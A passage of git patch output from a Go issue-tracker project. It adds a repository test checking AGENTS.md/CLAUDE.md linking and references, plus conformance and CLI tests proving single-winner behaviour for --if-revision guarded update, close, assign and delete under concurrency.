nested AGENTS.md files instead. +const rootAgentsMaxBytes = 20000 + +// agentFileSkipDirs are repo-relative directories whose AGENTS.md/CLAUDE.md +// files are shipped to users (product assets), not contributor instructions. +var agentFileSkipDirs = map[string]bool{ + "plugins": true, + "internal/templates": true, +} + +// backtickPathRE matches a backticked token that names a repository file. +var backtickPathRE = regexp.MustCompile("`([A-Za-z0-9_./-]+\\.(?:md|go|sh|yml|yaml|json|txt))`") + +// backtickRepoPathRE matches a backticked repo-relative path under a top-level +// source or docs directory, with or without an extension (directories and +// extensionless scripts included). Globs and placeholders are skipped by the +// caller. +var backtickRepoPathRE = regexp.MustCompile("`((?:\\.github|backend|cmd|docs|engdocs|internal|issueops|scripts|test|tests)/[^`\\s]*)`") + +// backtickTestRE matches a backticked Go test name cited as a guard. +var backtickTestRE = regexp.MustCompile("`(Test[A-Z][A-Za-z0-9_]*)`") + +var goTestFuncRE = regexp.MustCompile(`(?m)^func (Test[A-Za-z0-9_]+)\(`) + +func TestRootAgentsFileWithinBudget(t *testing.T) { + info, err := os.Stat(filepath.Join(repoRoot(), "AGENTS.md")) + if err != nil { + t.Fatalf("stat AGENTS.md: %v", err) + } + if info.Size() > rootAgentsMaxBytes { + t.Errorf("AGENTS.md is %d bytes; keep it at or under %d and move area-specific rules into a nested AGENTS.md listed in its routing table", + info.Size(), rootAgentsMaxBytes) + } +} + +// contributorAgentFiles walks the checkout for AGENTS.md files outside the +// shipped product-asset directories, returning repo-relative paths. +func contributorAgentFiles(t *testing.T, root string) []string { + t.Helper() + var files []string + err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + rel, _ := filepath.Rel(root, path) + rel = filepath.ToSlash(rel) + if d.IsDir() { + if path != root && (strings.HasPrefix(d.Name(), ".") || d.Name() == "node_modules" || d.Name() == "testdata" || agentFileSkipDirs[rel]) { + return filepath.SkipDir + } + return nil + } + if d.Name() == "AGENTS.md" { + files = append(files, rel) + } + return nil + }) + if err != nil { + t.Fatalf("walking checkout: %v", err) + } + sort.Strings(files) + return files +} + +// TestAgentInstructionFilesAreLinkedAndRouted: every contributor AGENTS.md has +// a sibling CLAUDE.md symlink (Claude Code skips AGENTS.md files when a +// CLAUDE.md exists above them), every nested one is listed in the root routing +// table, and every local link, backticked repo path, and backticked guard-test +// name in them resolves. Make targets are not checked. +func TestAgentInstructionFilesAreLinkedAndRouted(t *testing.T) { + if bazeltest.IsBazel() { + t.Skip("walks the source checkout; Bazel runfiles hold only declared data, so this runs under go test") + } + root := repoRoot() + agentFiles := contributorAgentFiles(t, root) + if len(agentFiles) < 2 { + t.Fatalf("found %d contributor AGENTS.md files; the walk or the skip list is wrong", len(agentFiles)) + } + rootAgents, err := os.ReadFile(filepath.Join(root, "AGENTS.md")) + if err != nil { + t.Fatalf("reading AGENTS.md: %v", err) + } + + for _, rel := range agentFiles { + agentsPath := filepath.Join(root, filepath.FromSlash(rel)) + claudePath := filepath.Join(filepath.Dir(agentsPath), "CLAUDE.md") + claudeRel := filepath.ToSlash(filepath.Join(filepath.Dir(rel), "CLAUDE.md")) + info, err := os.Lstat(claudePath) + switch { + case err != nil: + t.Errorf("%s has no sibling CLAUDE.md; add one with `ln -s AGENTS.md CLAUDE.md`", rel) + case info.Mode()&os.ModeSymlink == 0: + t.Errorf("%s is a regular file; replace it with a symlink to AGENTS.md", claudeRel) + default: + agents, aerr := os.ReadFile(agentsPath) + claude, cerr := os.ReadFile(claudePath) + if aerr != nil || cerr != nil || !bytes.Equal(agents, claude) { + t.Errorf("%s does not resolve to its sibling AGENTS.md", claudeRel) + } + } + if rel != "AGENTS.md" && !bytes.Contains(rootAgents, []byte("("+rel+")")) { + t.Errorf("%s is not linked from the routing table in the root AGENTS.md", rel) + } + } + + checked := append(agentFiles, filepath.ToSlash(filepath.Join(".github", "copilot-instructions.md"))) + tests := goTestFuncNames(t, root) + var broken []string + for _, rel := range checked { + path := filepath.Join(root, filepath.FromSlash(rel)) + data, err := os.ReadFile(path) + if err != nil { + t.Fatalf("reading %s: %v", rel, err) + } + content := stripCodeFences(string(data)) + for _, target := range extractMarkdownLinks(content) { + if isExternalLink(target) { + continue + } + if idx := strings.IndexAny(target, "#?"); idx >= 0 { + target = target[:idx] + } + if target == "" { + continue + } + if _, err := os.Stat(filepath.Join(filepath.Dir(path), filepath.FromSlash(target))); err != nil { + broken = append(broken, rel+" -> "+target) + } + } + for _, m := range backtickPathRE.FindAllStringSubmatch(content, -1) { + ref := filepath.FromSlash(m[1]) + if _, err := os.Stat(filepath.Join(filepath.Dir(path), ref)); err == nil { + continue + } + if _, err := os.Stat(filepath.Join(root, ref)); err == nil { + continue + } + broken = append(broken, rel+" -> `"+m[1]+"`") + } + for _, m := range backtickRepoPathRE.FindAllStringSubmatch(content, -1) { + ref := m[1] + if strings.ContainsAny(ref, "*{}<>$") { + continue + } + // "file.go:Symbol" cites a symbol inside a file; check the file. + ref, _, _ = strings.Cut(ref, ":") + if _, err := os.Stat(filepath.Join(root, filepath.FromSlash(ref))); err != nil { + broken = append(broken, rel+" -> `"+m[1]+"`") + } + } + for _, m := range backtickTestRE.FindAllStringSubmatch(content, -1) { + if !tests[m[1]] { + broken = append(broken, rel+" -> guard test "+m[1]+" does not exist") + } + } + } + if len(broken) > 0 { + sort.Strings(broken) + t.Errorf("agent instruction files reference paths that do not exist (%d):", len(broken)) + for _, b := range broken { + t.Errorf(" %s", b) + } + } +} + +// goTestFuncNames returns the names of every top-level Test function in the +// checkout's Go test files. +func goTestFuncNames(t *testing.T, root string) map[string]bool { + t.Helper() + names := make(map[string]bool) + err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() { + if path != root && (strings.HasPrefix(d.Name(), ".") || d.Name() == "node_modules") { + return filepath.SkipDir + } + return nil + } + if !strings.HasSuffix(path, "_test.go") { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return err + } + for _, m := range goTestFuncRE.FindAllSubmatch(data, -1) { + names[string(m[1])] = true + } + return nil + }) + if err != nil { + t.Fatalf("collecting Go test names: %v", err) + } + return names +} diff --git a/test/docsync/docsync_test.go b/test/docsync/docsync_test.go index a8ed82773..df734e1f9 100644 --- a/test/docsync/docsync_test.go +++ b/test/docsync/docsync_test.go @@ -57,6 +57,7 @@ var rootDocFiles = []string{ "CLAUDE.md", "RELEASING.md", "PR_MAINTAINER_GUIDELINES.md", + "ROADMAP.md", } func collectMintPages(v any, out *[]string) { diff --git a/tools/bazel/equivalence_allowlist.txt b/tools/bazel/equivalence_allowlist.txt index 83e84b128..7d95926b5 100644 --- a/tools/bazel/equivalence_allowlist.txt +++ b/tools/bazel/equivalence_allowlist.txt @@ -30,6 +30,7 @@ scripts TestBazelNoRemoteEndpointsInTrackedFiles skip # scans git-tracked files scripts TestBazelTestTagsFollowTaxonomy skip # reads every BUILD file in the checkout; runs under go test scripts TestBazelTreeGoSrcsListsEveryPackage skip # walks the source checkout; runs under go test scripts TestCheckTestingShortPassesOnCleanRepoTree skip # walks the whole checkout; runs under go test +test/docsync TestAgentInstructionFilesAreLinkedAndRouted skip # walks the source checkout for every AGENTS.md; runs under go test scripts TestReleaseFormula* skip # .beads/ is in .bazelignore, so the formula cannot be data; runs under go test # Policy tests whose inputs (other packages' BUILD files, .github/scripts, From cd2507735e9aeff3d5c129345c81d375eef06c75 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 01:57:10 -0700 Subject: [PATCH 100/325] test(cli): close mc-zndi7.76's --if-revision single-winner test gaps (#7233) * test(cli): close mc-zndi7.76's --if-revision single-winner test gaps T4.4 exercised the Update guard against the library only; embedded CLI tests never catch a CLI wiring bypass because bd's local exclusive flock serializes every mutation regardless of whether --if-revision is actually threaded through. This closes the remaining mc-zndi7.76 gaps: - gap 1 (mutant MA): new Lifecycle contract cases (RunLifecycleUpdateExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency, RunLifecycleCloseExpectedVersionSingleWinnerUnderConcurrency, RunLifecycleUpdateExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency), wired into all three backends (dolt, embeddeddolt, uow). - gap 2 (mutant MC): a new dolt-server-tier CLI concurrency test, TestSharedServerIfRevisionSingleWinner, spawning N real bd subprocesses that race update/close/assign --if-revision against one shared, unlocked Dolt server. Delete is deliberately excluded -- its production guard is independently known-broken under real concurrency and is tracked as its own schema-touching fix, mc-zndi7.73. - gap 4 (mutants ML/MO/MD1/MD2): close's --if-revision bypass now has CLI-level coverage for --continue/--suggest-next/--claim-next rejection, cascade-delete fencing, and a proxied-route stale-guard refusal. TDD: hand-applying mutant MC (dropping update.go's ExpectedVersion wiring) reproduces the bug report's symptom exactly -- 10/10 concurrent racers exit 0 instead of 1 winner + 9 guard refusals. Restoring the real code returns to exactly 1 winner, confirmed across 4 repeated real-container runs plus -race. Gates: gofmt, go vet, go build (both tags), golangci-lint (native, 0 issues), bazel go_srcs.py --check, and targeted go test runs (embeddeddolt/dolt/uow lifecycle contract suites and the full set of cmd/bd if-revision tests) all green, with and without -race, against a real dolthub/dolt-sql-server:2.2.0 container. Co-Authored-By: Claude Sonnet 5 * build(bazel): sync cmd/bd BUILD.bazel srcs for the new if-revision test files make bazel-sync-check only validates the go_srcs.py-managed filegroups, not gazelle's own go_test srcs list, so the two new test files from the previous commit were invisible to Bazel. CI's BUILD-sync and go-test equivalence gates caught it; this is gazelle's own generated diff, applied via the CI job's uploaded bazel-sync-patch artifact. Co-Authored-By: Claude Sonnet 5 --------- Co-authored-by: Claude Sonnet 5 --- .../conformance/lifecycle_update_contract.go | 286 ++++++++++++++++++ backend/conformance/role_bundle_cases.go | 3 + cmd/bd/BUILD.bazel | 2 + cmd/bd/if_revision_embedded_test.go | 64 ++++ .../if_revision_proxied_close_delete_test.go | 100 ++++++ ...red_server_if_revision_concurrency_test.go | 264 ++++++++++++++++ cmd/bd/write_verbs_parity_test.go | 36 +++ .../dolt/lifecycle_update_contract_test.go | 9 + .../lifecycle_update_contract_test.go | 9 + .../uow/lifecycle_update_contract_test.go | 9 + 10 files changed, 782 insertions(+) create mode 100644 cmd/bd/if_revision_proxied_close_delete_test.go create mode 100644 cmd/bd/shared_server_if_revision_concurrency_test.go diff --git a/backend/conformance/lifecycle_update_contract.go b/backend/conformance/lifecycle_update_contract.go index 8b78ff97f..5219b494d 100644 --- a/backend/conformance/lifecycle_update_contract.go +++ b/backend/conformance/lifecycle_update_contract.go @@ -1000,6 +1000,292 @@ func RunLifecycleUpdateExpectedVersionSingleWinnerUnderConcurrency(t *testing.T, } } +// RunLifecycleUpdateExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency +// is RunLifecycleUpdateExpectedVersionSingleWinnerUnderConcurrency's sibling, +// and the reason that one is not enough on its own (mc-zndi7.76, gap 1). +// +// Every racer there writes the SAME two cells (Priority and Notes), so a +// backend whose storage layer auto-merges disjoint-cell changes from a common +// base — Dolt's native behavior — could pass that test on native cell-level +// conflict detection ALONE, with the ExpectedVersion/row_lock compare-and-swap +// doing nothing at all: sixteen racers colliding on one cell look identical to +// sixteen racers colliding on one ROW VERSION. A hand-applied mutant that +// reminted row_lock to an unconditional fresh random value on every write +// (rather than deriving it from, and checking it against, ExpectedVersion) +// still passed the shared-cell test on this suite's in-tree backends 3 of 3 +// runs each, and only showed its true colors — 3 to 7 winners per round — on a +// real Dolt server CLI race with disjoint-column patches, which is the shape +// this case restores. +// +// Each racer here writes a column NO OTHER RACER TOUCHES, so Dolt's per-cell +// auto-merge cannot provide false mutual exclusion for any pair of them: +// whatever excludes all but one racer here has to be the row_lock/ +// ExpectedVersion compare-and-swap itself, not an accident of which cells +// collide. +func RunLifecycleUpdateExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency(t *testing.T, ctx context.Context, fixture LifecycleUpdateFixture) { + t.Helper() + + type disjointField struct { + name string + apply func(*publicops.IssuePatch, string) + read func(*types.Issue) string + } + fields := []disjointField{ + {"Description", func(p *publicops.IssuePatch, v string) { p.Description = publicops.Field[string]{Set: true, Value: v} }, func(i *types.Issue) string { return i.Description }}, + {"Design", func(p *publicops.IssuePatch, v string) { p.Design = publicops.Field[string]{Set: true, Value: v} }, func(i *types.Issue) string { return i.Design }}, + {"AcceptanceCriteria", func(p *publicops.IssuePatch, v string) { + p.AcceptanceCriteria = publicops.Field[string]{Set: true, Value: v} + }, func(i *types.Issue) string { return i.AcceptanceCriteria }}, + {"Notes", func(p *publicops.IssuePatch, v string) { p.Notes = publicops.Field[string]{Set: true, Value: v} }, func(i *types.Issue) string { return i.Notes }}, + {"SpecID", func(p *publicops.IssuePatch, v string) { p.SpecID = publicops.Field[string]{Set: true, Value: v} }, func(i *types.Issue) string { return i.SpecID }}, + {"AwaitID", func(p *publicops.IssuePatch, v string) { p.AwaitID = publicops.Field[string]{Set: true, Value: v} }, func(i *types.Issue) string { return i.AwaitID }}, + {"Owner", func(p *publicops.IssuePatch, v string) { p.Owner = publicops.Field[string]{Set: true, Value: v} }, func(i *types.Issue) string { return i.Owner }}, + // Assignee rides the same Update/ExpectedVersion machinery `bd assign` + // dispatches onto (cmd/bd/mutate_proxied_server.go's proxiedAssign, and + // its direct-route twin), so a disjoint racer on this column is this + // suite's single-winner coverage for assign (mc-zndi7.76, gap 3): there + // is no separate Assign method on Lifecycle to race independently. + {"Assignee", func(p *publicops.IssuePatch, v string) { p.Assignee = publicops.Field[string]{Set: true, Value: v} }, func(i *types.Issue) string { return i.Assignee }}, + } + racers := len(fields) + + id := fixture.IssuePrefix + "-lup-singlewinner-disjoint" + seedLifecycleUpdateIssue(t, ctx, fixture, lifecycleUpdateIssue(id)) + + seed := lifecycleUpdateRow(t, ctx, fixture, id) + racedToken := seed.RowVersion + + var wg sync.WaitGroup + won := make([]bool, racers) + errs := make([]error, racers) + wg.Add(racers) + for i := 0; i < racers; i++ { + i := i + go func() { + defer wg.Done() + version := racedToken + var patch publicops.IssuePatch + fields[i].apply(&patch, fmt.Sprintf("racer-%d-%s", i, fields[i].name)) + result, err := fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: "racer", + IssueID: id, + Patch: patch, + ExpectedVersion: &version, + }) + errs[i] = err + won[i] = err == nil && result.Changed + }() + } + wg.Wait() + + winners := 0 + winner := -1 + for i, win := range won { + if win { + winners++ + winner = i + continue + } + if !errors.Is(errs[i], storage.ErrVersionMismatch) { + t.Errorf("racer %d (%s): err = %v, want nil (won) or ErrVersionMismatch (lost the race)", i, fields[i].name, errs[i]) + } + } + if winners != 1 { + t.Fatalf("%d racers on disjoint columns shared one --if-revision token %d; got %d winners, want exactly 1 (errs=%v)", + racers, racedToken, winners, errs) + } + + final := lifecycleUpdateRow(t, ctx, fixture, id) + wantValue := fmt.Sprintf("racer-%d-%s", winner, fields[winner].name) + for i, f := range fields { + got := f.read(final) + if i == winner { + if got != wantValue { + t.Errorf("final %s = %q, want the single winner's %q — a torn or lost write", f.name, got, wantValue) + } + continue + } + if got != "" { + t.Errorf("final %s = %q, want empty — a disjoint loser's write was not supposed to apply (false mutual exclusion from native cell-merge, not the version guard)", f.name, got) + } + } + if final.RowVersion == racedToken { + t.Errorf("final row version = %d, want it to have advanced past the raced token %d", final.RowVersion, racedToken) + } +} + +// RunLifecycleCloseExpectedVersionSingleWinnerUnderConcurrency is +// RunLifecycleUpdateExpectedVersionSingleWinnerUnderConcurrency's Close twin +// (mc-zndi7.76, gap 3): CloseRequest.ExpectedVersion rides the same row_lock +// compare-and-swap Update's does (CloseRequest.ExpectedVersion's doc), and +// until now nothing proved that under real concurrency for Close specifically. +// N racers close the SAME open issue racing the SAME pre-close token; exactly +// one may apply its close, every other racer must see ErrVersionMismatch (not +// the idempotent-reclose no-op — the token is stale by the time it would +// observe that), and the row left behind must be exactly the single winner's. +func RunLifecycleCloseExpectedVersionSingleWinnerUnderConcurrency(t *testing.T, ctx context.Context, fixture LifecycleUpdateFixture) { + t.Helper() + + const racers = 16 + + id := fixture.IssuePrefix + "-lup-close-singlewinner" + seedLifecycleUpdateIssue(t, ctx, fixture, lifecycleUpdateIssue(id)) + + seed := lifecycleUpdateRow(t, ctx, fixture, id) + racedToken := seed.RowVersion + + var wg sync.WaitGroup + won := make([]bool, racers) + errs := make([]error, racers) + wg.Add(racers) + for i := 0; i < racers; i++ { + i := i + go func() { + defer wg.Done() + version := racedToken + result, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{ + Actor: "racer", + IssueID: id, + Reason: fmt.Sprintf("racer-%d", i), + ExpectedVersion: &version, + }) + errs[i] = err + won[i] = err == nil && result.Changed + }() + } + wg.Wait() + + winners := 0 + winner := -1 + for i, win := range won { + if win { + winners++ + winner = i + continue + } + if !errors.Is(errs[i], storage.ErrVersionMismatch) { + t.Errorf("racer %d: err = %v, want nil (won) or ErrVersionMismatch (lost the race)", i, errs[i]) + } + } + if winners != 1 { + t.Fatalf("%d racers shared one close --if-revision token %d; got %d winners, want exactly 1 (errs=%v)", + racers, racedToken, winners, errs) + } + + final := lifecycleUpdateRow(t, ctx, fixture, id) + if final.Status != types.StatusClosed { + t.Errorf("final status = %q, want closed", final.Status) + } + wantReason := fmt.Sprintf("racer-%d", winner) + if final.CloseReason != wantReason { + t.Errorf("final close reason = %q, want the single winner's %q — a torn or lost write", final.CloseReason, wantReason) + } + if final.RowVersion == racedToken { + t.Errorf("final row version = %d, want it to have advanced past the raced token %d", final.RowVersion, racedToken) + } +} + +// RunLifecycleUpdateExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency +// is this suite's mixed-verb single-winner case (mc-zndi7.76, gap 3): Update +// and Close share one row_lock compare-and-swap, so a token raced across BOTH +// verbs at once must still admit exactly one winner, whichever verb it turns +// out to be — an exclusion mechanism keyed to the row rather than to a given +// verb's own code path. Delete is deliberately NOT a racer here: delete's +// production code does not remint row_lock on a deletion (nothing is left to +// remint), so it does not share this exclusion at all today. That is a real, +// separately tracked bug (the sibling delete bead, mc-zndi7.73) and not a gap +// in this test — folding Delete in here would either mask the bug behind +// Update/Close's real exclusion winning the race, or make this case flake +// red on current main, neither of which belongs in a test pinning what DOES +// work. +func RunLifecycleUpdateExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency(t *testing.T, ctx context.Context, fixture LifecycleUpdateFixture) { + t.Helper() + + const racers = 8 // four Update racers, four Close racers, interleaved. + + id := fixture.IssuePrefix + "-lup-mixed-singlewinner" + seedLifecycleUpdateIssue(t, ctx, fixture, lifecycleUpdateIssue(id)) + + seed := lifecycleUpdateRow(t, ctx, fixture, id) + racedToken := seed.RowVersion + + type outcome struct { + kind string + changed bool + err error + } + outcomes := make([]outcome, racers) + var wg sync.WaitGroup + wg.Add(racers) + for i := 0; i < racers; i++ { + i := i + go func() { + defer wg.Done() + version := racedToken + if i%2 == 0 { + result, err := fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{ + Actor: "racer", + IssueID: id, + Patch: publicops.IssuePatch{ + Owner: publicops.Field[string]{Set: true, Value: fmt.Sprintf("update-racer-%d", i)}, + }, + ExpectedVersion: &version, + }) + outcomes[i] = outcome{kind: "update", changed: err == nil && result.Changed, err: err} + return + } + result, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{ + Actor: "racer", + IssueID: id, + Reason: fmt.Sprintf("close-racer-%d", i), + ExpectedVersion: &version, + }) + outcomes[i] = outcome{kind: "close", changed: err == nil && result.Changed, err: err} + }() + } + wg.Wait() + + winners := 0 + winner := -1 + for i, o := range outcomes { + if o.changed { + winners++ + winner = i + continue + } + if !errors.Is(o.err, storage.ErrVersionMismatch) { + t.Errorf("racer %d (%s): err = %v, want nil (won) or ErrVersionMismatch (lost the race)", i, o.kind, o.err) + } + } + if winners != 1 { + t.Fatalf("%d update/close racers shared one --if-revision token %d; got %d winners, want exactly 1 (outcomes=%+v)", + racers, racedToken, winners, outcomes) + } + + final := lifecycleUpdateRow(t, ctx, fixture, id) + switch outcomes[winner].kind { + case "update": + wantOwner := fmt.Sprintf("update-racer-%d", winner) + if final.Owner != wantOwner { + t.Errorf("final owner = %q, want the single winner's %q — a torn or lost write", final.Owner, wantOwner) + } + if final.Status == types.StatusClosed { + t.Errorf("the winning racer was an update, not a close; final status must not be closed") + } + case "close": + if final.Status != types.StatusClosed { + t.Errorf("final status = %q, want closed — the winning racer was a close", final.Status) + } + wantReason := fmt.Sprintf("close-racer-%d", winner) + if final.CloseReason != wantReason { + t.Errorf("final close reason = %q, want the single winner's %q — a torn or lost write", final.CloseReason, wantReason) + } + } + if final.RowVersion == racedToken { + t.Errorf("final row version = %d, want it to have advanced past the raced token %d", final.RowVersion, racedToken) + } +} + // RunLifecycleUpdateConditionalGuardAcceptsRespelledAssignee pins the // ga-5ksp5 fix beside RunLifecycleUpdateConditionalGuardsGateOrdinaryEdits // above rather than inside it: that test's later "order-dependent composition" diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 95c565cb2..bbbb1fa29 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -452,6 +452,9 @@ var roleContractCases = []roleContract{ RunLifecycleUpdateRefusalWritesNoMemberOfThePatch, RunLifecycleUpdateConditionalGuardsGateOrdinaryEdits, RunLifecycleUpdateExpectedVersionSingleWinnerUnderConcurrency, + RunLifecycleUpdateExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency, + RunLifecycleCloseExpectedVersionSingleWinnerUnderConcurrency, + RunLifecycleUpdateExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency, RunLifecycleUpdateConditionalGuardAcceptsRespelledAssignee, RunLifecycleUpdateMetadataPatchOrdersMergeSetUnset, RunLifecycleUpdateClosePolicy, diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index a7098035f..d7ba1e64f 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -814,6 +814,7 @@ go_test( "identity_preview_gate_test.go", "identity_preview_refusal_test.go", "if_revision_embedded_test.go", + "if_revision_proxied_close_delete_test.go", "if_revision_reassign_fence_embedded_test.go", "if_revision_reassign_fence_proxied_test.go", "if_revision_test.go", @@ -1099,6 +1100,7 @@ go_test( "shared_migrate_consent_test.go", "shared_server_cfgnil_test.go", "shared_server_cleanup_test.go", + "shared_server_if_revision_concurrency_test.go", "shared_server_integration_test.go", "shared_store_migrate_gate_test.go", "ship_embedded_test.go", diff --git a/cmd/bd/if_revision_embedded_test.go b/cmd/bd/if_revision_embedded_test.go index 55f837a21..afb90e866 100644 --- a/cmd/bd/if_revision_embedded_test.go +++ b/cmd/bd/if_revision_embedded_test.go @@ -196,6 +196,70 @@ func TestIfRevisionMatchAndMismatch(t *testing.T) { }) } +// TestIfRevisionCascadeDelete pins mc-zndi7.76 (gap 4): a single named id with +// --cascade takes the SAME deleteBatch path a multi-id delete does +// (cmd/bd/delete.go:105, "len(issueIDs) > 1 || cascade"), which is the only +// way a single-id --if-revision request ever reaches deleteBatch's own +// ExpectedVersion wiring (requireSingleIfRevisionID refuses a guard beside +// more than one explicit id, so a literal multi-id request can never get +// here). A stale guard must refuse the WHOLE cascade — the dependent survives +// right alongside the named parent — on both the real run and the unconfirmed +// --dry-run preview, which reports the same conditional-write envelope rather +// than falling through to the generic preview-with-error path. +func TestIfRevisionCascadeDelete(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "cd") + + parent := bdCreate(t, bd, dir, "Cascade parent", "--type", "task") + child := bdCreate(t, bd, dir, "Cascade child", "--type", "task") + bdDepAdd(t, bd, dir, child.ID, parent.ID) + + rev0 := bdShowRevision(t, bd, dir, parent.ID) + bdUpdate(t, bd, dir, parent.ID, "--notes", "bump") + rev1 := bdShowRevision(t, bd, dir, parent.ID) + + // A stale guard refuses the preview too: the dedicated conditional-write + // envelope, not the generic "here is what cascade would delete" preview. + out, code := bdRunFailCode(t, bd, dir, "delete", parent.ID, "--cascade", "--dry-run", "--if-revision", revStr(rev0)) + if code != ExitGuardMismatch { + t.Errorf("stale --if-revision cascade dry-run exit code = %d, want %d\n%s", code, ExitGuardMismatch, out) + } + if !strings.Contains(out, "revision mismatch") { + t.Errorf("cascade dry-run mismatch error should say \"revision mismatch\", got:\n%s", out) + } + // MO: a stale guard reports the dedicated conditional-write envelope + // instead of falling through to the generic "here is what cascade would + // delete" preview render -- the two are mutually exclusive outcomes for + // the same failed dry-run, not a report-then-preview sequence. + if strings.Contains(out, "DELETE PREVIEW") { + t.Errorf("stale --if-revision dry-run rendered the generic deletion preview instead of the guard-mismatch envelope:\n%s", out) + } + bdShow(t, bd, dir, parent.ID) + bdShow(t, bd, dir, child.ID) + + // A stale guard refuses the real cascade entirely -- neither the named + // parent nor the dependent cascade pulled in alongside it is deleted. + out, code = bdRunFailCode(t, bd, dir, "delete", parent.ID, "--cascade", "--force", "--if-revision", revStr(rev0)) + if code != ExitGuardMismatch { + t.Errorf("stale --if-revision cascade delete exit code = %d, want %d\n%s", code, ExitGuardMismatch, out) + } + if !strings.Contains(out, "revision mismatch") { + t.Errorf("cascade delete mismatch error should say \"revision mismatch\", got:\n%s", out) + } + bdShow(t, bd, dir, parent.ID) + bdShow(t, bd, dir, child.ID) + + // The matching token applies the cascade: both rows are gone. + bdRunOK(t, bd, dir, "delete", parent.ID, "--cascade", "--force", "--if-revision", revStr(rev1)) + bdShowFail(t, bd, dir, parent.ID) + bdShowFail(t, bd, dir, child.ID) +} + // TestIfRevisionComposesWithIfAssigneeIfStatus pins T4.5: on `bd update`, // --if-revision composes with --if-assignee/--if-status as a conjunction — // every guard present must hold, not just one of them, regardless of which diff --git a/cmd/bd/if_revision_proxied_close_delete_test.go b/cmd/bd/if_revision_proxied_close_delete_test.go new file mode 100644 index 000000000..aa867aa0a --- /dev/null +++ b/cmd/bd/if_revision_proxied_close_delete_test.go @@ -0,0 +1,100 @@ +//go:build cgo + +package main + +import ( + "errors" + "os/exec" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestProxiedIfRevisionCloseMismatchRefuses pins mc-zndi7.76 (gap 4 / mutant +// MD2): close_if_revision.go's proxied route wires ExpectedVersion into both +// of its SingleIssueUpdate calls (the plain close and the --force one), but +// until now nothing on the proxied route ever gave it a STALE token -- +// TestProxiedIfRevisionCloseReplaysMoleculeAutoClose and +// TestProxiedIfRevisionCloseWarnsOnForcedOpenChildren only ever close with the +// current revision. A stale guard must refuse the close outright, before any +// write, on the real shared Dolt server. +func TestProxiedIfRevisionCloseMismatchRefuses(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "ivcm") + + issue := bdProxiedCreate(t, bd, p.dir, "Guarded proxied close vs stale revision") + rev0 := bdProxiedShowRevision(t, bd, p.dir, issue.ID) + bdProxiedUpdateOne(t, bd, p.dir, issue.ID, "--notes", "bump the revision out from under the guard") + + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "close", issue.ID, "--if-revision", proxiedRevStr(rev0)) + if err == nil { + t.Fatalf("stale --if-revision close should have failed, got:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + var ee *exec.ExitError + if !errors.As(err, &ee) { + t.Fatalf("stale --if-revision close failed without an exit code: %v", err) + } + out := stdout + stderr + if ee.ExitCode() != ExitGuardMismatch { + t.Errorf("stale --if-revision close exit code = %d, want %d\n%s", ee.ExitCode(), ExitGuardMismatch, out) + } + if !strings.Contains(out, "revision mismatch") { + t.Errorf("stale --if-revision close error should say \"revision mismatch\", got:\n%s", out) + } + db := openProxiedDB(t, p) + if got := readStatus(t, db, issue.ID); got == types.StatusClosed { + t.Errorf("stale --if-revision close must not have applied: status = %q", got) + } +} + +// TestProxiedIfRevisionDeleteMatchAndMismatch pins mc-zndi7.76 (gap 4 / mutant +// MD4): delete_proxied_server.go wires ExpectedVersion: ifRevision into the +// issueops.DeleteRequest it sends to the real Deleter, but no proxied test +// gave --if-revision to delete at all before now. A matching guard deletes +// the row; a stale guard refuses, and the row survives. +func TestProxiedIfRevisionDeleteMatchAndMismatch(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "ivdm") + db := openProxiedDB(t, p) + + t.Run("mismatch_refuses", func(t *testing.T) { + t.Parallel() + issue := bdProxiedCreate(t, bd, p.dir, "Guarded proxied delete vs stale revision") + rev0 := bdProxiedShowRevision(t, bd, p.dir, issue.ID) + bdProxiedUpdateOne(t, bd, p.dir, issue.ID, "--notes", "bump the revision out from under the guard") + + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "delete", issue.ID, "--force", "--if-revision", proxiedRevStr(rev0)) + if err == nil { + t.Fatalf("stale --if-revision delete should have failed, got:\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + var ee *exec.ExitError + if !errors.As(err, &ee) { + t.Fatalf("stale --if-revision delete failed without an exit code: %v", err) + } + out := stdout + stderr + if ee.ExitCode() != ExitGuardMismatch { + t.Errorf("stale --if-revision delete exit code = %d, want %d\n%s", ee.ExitCode(), ExitGuardMismatch, out) + } + if !strings.Contains(out, "revision mismatch") { + t.Errorf("stale --if-revision delete error should say \"revision mismatch\", got:\n%s", out) + } + row := readStatus(t, db, issue.ID) + if row == "" { + t.Errorf("stale --if-revision delete must not have applied: row %s is gone", issue.ID) + } + }) + + 